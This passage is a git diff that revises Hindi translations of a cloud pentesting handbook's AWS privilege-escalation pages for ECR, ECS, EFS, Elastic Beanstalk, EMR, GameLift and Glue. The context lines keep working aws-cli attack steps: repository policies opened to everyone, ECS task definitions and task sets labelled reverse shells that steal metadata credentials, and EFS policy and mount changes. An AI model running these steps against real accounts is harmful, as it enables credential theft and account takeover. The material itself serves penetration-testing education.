`aws_secret_access_key`, we can use these credentials to authenticate to AWS. +मान लेते हैं कि हम `aws_access_key_id` और `aws_secret_access_key` पाते हैं, हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकरण के लिए कर सकते हैं। -**संभावित प्रभाव:** IAM उपयोगकर्ता(ओं) के लिए सीधे विशेषाधिकार वृद्धि। +**संभावित प्रभाव:** IAM उपयोगकर्ता(ों) के लिए सीधे विशेषाधिकार वृद्धि। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index f5df05959..d9544c6ab 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -6,7 +6,7 @@ ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` -एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** है, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है। +एक हमलावर जिसके पास **`ecr:GetAuthorizationToken`** और **`ecr:BatchGetImage`** हैं, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है। इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए: @@ -18,7 +18,7 @@ ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ उन इमेज का उपयोग किया जा रहा है। +एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, **ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है**। यह उन अन्य वातावरणों में प्रिविलेज बढ़ाने के लिए उपयोगी हो सकता है जहाँ ये इमेज उपयोग की जा रही हैं। नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें: @@ -32,8 +32,8 @@ ### `ecr:SetRepositoryPolicy` -एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद (या यहां तक कि सभी) को **पढ़ने/लिखने की पहुँच** दे सके।\ -उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की पहुँच दी गई है। +एक हमलावर जिसके पास यह अनुमति है, वह **रिपॉजिटरी** **नीति** को **बदल** सकता है ताकि वह खुद को (या यहां तक कि सभी को) **पढ़ने/लिखने की अनुमति** दे सके।\ +उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की अनुमति दी गई है। ```bash aws ecr set-repository-policy \ --repository-name \ @@ -60,7 +60,7 @@ aws ecr set-repository-policy \ ### `ecr-public:SetRepositoryPolicy` पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।\ -एक हमलावर **रिपॉजिटरी नीति को संशोधित** कर सकता है एक ECR सार्वजनिक रिपॉजिटरी की ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके। +एक हमलावर **ECR सार्वजनिक रिपॉजिटरी** की रिपॉजिटरी नीति को संशोधित कर सकता है ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ा सके। ```bash bashCopy code# Create a JSON file with the malicious public repository policy echo '{ @@ -87,11 +87,11 @@ echo '{ # Apply the malicious public repository policy to the ECR Public repository aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json ``` -**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे कोई भी उपयोगकर्ता छवियों को पुश, पुल या हटा सकता है। +**संभावित प्रभाव**: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे किसी भी उपयोगकर्ता को छवियों को पुश, पुल या हटाने की अनुमति मिलती है। ### `ecr:PutRegistryPolicy` -इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके। +इस अनुमति के साथ एक हमलावर **पॉलिसी** को **बदल** सकता है ताकि वह अपने लिए, अपने खाते के लिए (या यहां तक कि सभी के लिए) **पढ़ने/लिखने की पहुंच** प्रदान कर सके। ```bash aws ecr set-repository-policy \ --repository-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 9108af6f3..27a24507c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ ECS के बारे में अधिक **जानकारी**: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**। +एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया टास्क परिभाषा** **बनाने** में सक्षम हो सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स को चुराता है और **इसे चलाता है**। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -37,7 +37,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\ -हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण की आवश्यकता होगी। +हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर उदाहरण होना चाहिए। ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।** +जैसे कि पिछले उदाहरण में, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -80,11 +80,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क। +**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेलेज वृद्धि। ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -वास्तव में, केवल उन अनुमतियों के साथ, यह ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेश निष्पादित करना संभव है जैसे: +वास्तव में, केवल उन अनुमतियों के साथ, यह किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित करने के लिए ओवरराइड्स का उपयोग करना संभव है, जैसे: ```bash aws ecs run-task \ --task-definition "" \ @@ -98,7 +98,7 @@ aws ecs run-task \ यह परिदृश्य पिछले वाले के समान है लेकिन **`iam:PassRole`** अनुमति के **बिना**।\ यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, आप **नोड पर भागने के लिए एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएँ** चुरा सकते हैं जो नोड में चल रही हैं।\ -आप यहां तक कि **उन अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनके क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)। +आप यहां तक कि **अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)। > [!WARNING] > यह हमला केवल तभी संभव है जब **ECS क्लस्टर EC2** उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं। @@ -144,8 +144,8 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और इससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\ -हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चला रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)। +एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** है जिससे वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको `aws ecs execute-command` चलाने के लिए विवरण अनुमतियों की आवश्यकता है)।\ +हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)। इसलिए, हमलावर कोशिश कर सकता है: @@ -172,13 +172,13 @@ aws ecs execute-command --interactive \ - यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक सेवा बनाएँ। - यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक सेवा अपडेट करें। -आप **पिछले ECS privesc अनुभागों** में **इन विकल्पों के उदाहरण** पा सकते हैं। +आप **इन विकल्पों के उदाहरण** **पिछले ECS privesc अनुभागों** में पा सकते हैं। -**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में privesc। +**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिविलेज़ वृद्धि। ### `ssm:StartSession` -देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके: +देखें कि आप **ssm privesc पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए: {{#ref}} aws-ssm-privesc.md @@ -186,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में privesc** हो सके: +देखें कि आप **ec2 privesc पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं **ECS में प्रिविलेज़ वृद्धि** के लिए: {{#ref}} aws-ec2-privesc.md @@ -201,7 +201,7 @@ TODO: क्या किसी अन्य AWS खाते से एक उ > [!NOTE] > TODO: इसका परीक्षण करें -जिस हमलावर के पास अनुमतियाँ `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` हैं, वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है। +एक हमलावर जिसके पास अनुमतियाँ हैं `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है। ```bash bashCopy code# Register a task definition with a reverse shell echo '{ @@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**संभावित प्रभाव**: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, संभावित रूप से इसकी कार्यक्षमता को प्रभावित करते हुए या संवेदनशील डेटा को बाहर निकालते हुए। +**संभावित प्रभाव**: प्रभावित सेवा में मनमाना कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है। ## संदर्भ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index b66915f95..7a93277bd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,17 +4,17 @@ ## EFS -EFS के बारे में अधिक **जानकारी**: +**EFS के बारे में अधिक जानकारी** यहाँ है: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि इसे IAM नीतियों द्वारा सुरक्षित किया गया है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियों की आवश्यकता होगी। +याद रखें कि EFS को माउंट करने के लिए आपको उस उपनेटवर्क में होना चाहिए जहाँ EFS एक्सपोज़ किया गया है और आपके पास इसकी पहुँच होनी चाहिए (सुरक्षा समूह)। यदि ऐसा हो रहा है, तो डिफ़ॉल्ट रूप से, आप हमेशा इसे माउंट कर सकेंगे, हालाँकि, यदि यह IAM नीतियों द्वारा सुरक्षित है, तो आपको इसे एक्सेस करने के लिए यहाँ उल्लेखित अतिरिक्त अनुमतियाँ होनी चाहिए। ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच** मिल सके, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके। +इनमें से किसी भी अनुमति के साथ, एक हमलावर **फाइल सिस्टम नीति** को **बदल सकता है** ताकि आपको इसकी **पहुँच मिल सके**, या इसे **हटाने** के लिए ताकि **डिफ़ॉल्ट पहुँच** प्रदान की जा सके। नीति को हटाने के लिए: ```bash @@ -58,13 +58,13 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -The extra permissions `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **write** करने के लिए किया जा सकता है जब यह फाइल सिस्टम माउंट किया गया हो और **access** करने के लिए उस फाइल सिस्टम को **root** के रूप में। +अतिरिक्त अनुमतियाँ `elasticfilesystem:ClientRootAccess` और `elasticfilesystem:ClientWrite` का उपयोग **लेखन** के लिए किया जा सकता है जब यह फ़ाइल सिस्टम माउंट किया गया हो और **रूट** के रूप में उस फ़ाइल सिस्टम **तक पहुँच** प्राप्त करने के लिए। -**Potential Impact:** फाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क। +**संभावित प्रभाव:** फ़ाइल सिस्टम में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क। ### `elasticfilesystem:CreateMountTarget` -यदि आप एक हमलावर हैं जो एक **subnetwork** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह बस इस विशेषाधिकार के साथ **अपने सबनेट में एक बना सकता है**: +यदि आप एक हमलावर हैं जो एक **उपनेटवर्क** के अंदर हैं जहाँ EFS का **कोई माउंट टारगेट** नहीं है। वह इस विशेषाधिकार के साथ **अपने उपनेट में एक बना सकता है**: ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ @@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \ ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है**: +एक परिदृश्य में जहाँ एक हमलावर पाता है कि EFS का माउंट टारगेट उसके उपनेटवर्क में है लेकिन **कोई सुरक्षा समूह ट्रैफ़िक की अनुमति नहीं दे रहा है**, वह बस **चुनिंदा सुरक्षा समूहों को संशोधित करके उसे बदल सकता है:** ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 39213a6bd..72dfa1a0f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -38,17 +38,17 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name" ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- एक AWS Elastic Beanstalk वातावरण बनाएं ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- एक AWS Elastic Beanstalk वातावरण ([**समर्थित प्लेटफ़ॉर्म**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस मौजूदा को **अपडेट** कर सकते हैं। +यदि एक वातावरण पहले से ही बनाया गया है और आप **नया नहीं बनाना चाहते**, तो आप बस **मौजूदा** को **अपडेट** कर सकते हैं। - अपने एप्लिकेशन कोड और निर्भरताओं को एक ZIP फ़ाइल में पैक करें: ```python zip -r MyApp.zip . ``` -- S3 बकेट में ZIP फ़ाइल अपलोड करें: +- ZIP फ़ाइल को S3 बकेट में अपलोड करें: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` @@ -62,7 +62,7 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label ``` ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से इन **2 फ़ाइलों** को शामिल करने वाला एक साधारण **ज़िप**: +सबसे पहले, आपको **पीड़ित** में चलाने के लिए **कोड** के साथ एक **वैध Beanstalk वातावरण** बनाना होगा, जो **पिछले चरणों** का पालन करता है। संभावित रूप से एक साधारण **zip** जिसमें ये **2 फ़ाइलें** शामिल हैं: {{#tabs }} {{#tab name="application.py" }} @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए, आपको अपने beanstalk S3 बकेट की **Bucket Policy** को **अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे **Bucket** **सभी के लिए** **खुल जाएगी**): +एक बार जब आपके पास **अपना खुद का Beanstalk env चल रहा हो** आपका rev shell, तो इसे **शिकार** के env में **स्थानांतरित** करने का समय है। ऐसा करने के लिए आपको अपने beanstalk S3 बकेट की **बकेट नीति को अपडेट** करना होगा ताकि **शिकार इसे एक्सेस कर सके** (ध्यान दें कि इससे बकेट **सभी के लिए खुल जाएगा**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index fc125323b..c9e82a385 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -**EMR के बारे में अधिक जानकारी** यहाँ है: +More **info about EMR** in: {{#ref}} ../aws-services/aws-emr-enum.md @@ -13,7 +13,7 @@ ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` इन अनुमतियों के साथ एक हमलावर **EC2 भूमिकाओं को संलग्न करते हुए एक नया EMR क्लस्टर चला सकता है** और इसके क्रेडेंशियल्स चुराने की कोशिश कर सकता है।\ -ध्यान दें कि ऐसा करने के लिए आपको **खाता में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)। +ध्यान दें कि ऐसा करने के लिए आपको **खाते में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)। ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,27 +36,27 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -नोट करें कि एक **EMR भूमिका** `--service-role` में निर्दिष्ट की गई है और एक **ec2 भूमिका** `--ec2-attributes` में `InstanceProfile` के अंदर निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका क्रेडेंशियल्स को चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं। +ध्यान दें कि `--service-role` में एक **EMR भूमिका** निर्दिष्ट की गई है और `InstanceProfile` के अंदर `--ec2-attributes` में एक **ec2 भूमिका** निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका के क्रेडेंशियल्स चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं। **संभावित प्रभाव:** निर्दिष्ट EC2 सेवा भूमिका के लिए प्रिवेस्क। ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका को चुराने के लिए इसका उपयोग कर सकता है। +इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका चुराने के लिए इसका उपयोग कर सकता है। > [!CAUTION] -> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। +> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। -**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क। ### `elasticmapreduce:OpenEditorInConsole` -बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुँच** प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका को चुरा सकेगा।\ +बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुंच प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका चुरा सकेगा।**\ नोटबुक का URL है `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से IAM भूमिका को संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स को चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। +> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं। -**संभावित प्रभाव:** AWS प्रबंधित भूमिका के लिए प्रिवेस्क arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index d2618fda4..4e16f8bba 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,7 +4,7 @@ ### `gamelift:RequestUploadCredentials` -इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है** Amazon GameLift के Amazon S3 पर। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा। +इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को Amazon GameLift के Amazon S3 पर अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है**। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा। ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 1f7b3bc74..44467991f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -8,7 +8,7 @@ इन अनुमतियों वाले उपयोगकर्ता **एक नया AWS Glue विकास अंत बिंदु सेटअप कर सकते हैं**, **Glue द्वारा अनुमेय एक 